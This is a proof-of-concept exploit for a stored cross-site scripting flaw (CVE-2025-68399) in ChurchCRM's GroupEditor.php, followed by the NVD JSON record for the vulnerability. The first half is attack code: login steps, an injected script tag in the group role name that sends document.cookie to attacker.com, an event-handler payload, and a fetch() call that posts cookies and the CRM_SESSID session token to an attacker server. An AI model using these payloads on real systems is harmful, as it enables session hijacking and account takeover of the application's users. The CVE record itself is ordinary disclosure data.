CVE-2025-68399

// CVE-2025-68399 PoC - ChurchCRM Stored XSS in GroupEditor.php // Author: Security Researcher // Target: ChurchCRM < 6.5.4 // Step 1: Authenticate with ChurchCRM using a low-privilege account with group management permissions // POST /session/login const loginPayload = { email: '[email protected]', password: 'password123' }; // Step 2: Navigate to GroupEditor.php and intercept the group role creation request // GET /GroupEditor.php?GroupID=<group_id> // Step 3: Inject malicious JavaScript in the group role name field // POST /GroupEditor.php const xssPayload = { GroupID: 1, Action: 'AddRole', // Stored XSS payload - will be executed when page is viewed RoleName: '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', // Alternative payload - event handler RoleDescription: '" onmouseover="alert(document.domain)" x="' }; // Step 4: When other users visit GroupEditor.php, the XSS payload executes // The attacker's server receives the victim's cookies fetch('https://attacker.com/exploit', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, session: document.cookie.match(/CRM_SESSID=([^;]+)/)[1] }) });

{"cve": {"id": "CVE-2025-68399", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:02.083", "lastModified": "2025-12-18T16:47:11.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. In versions prior to 6.5.4, there is a Stored Cross-Site Scripting (XSS) vulnerability within the GroupEditor.php page of the application. When a user attempts to create a group role, they can execute malicious JavaScript. However, for this to work, the user must have permission to view and modify groups in the application. Version 6.5.4 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.4", "matchCriteriaId": "2CE715A5-9E36-4DC7-94BC-511C43F8F3C6"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-gfxf-w4cg-c54j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-gfxf-w4cg-c54j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}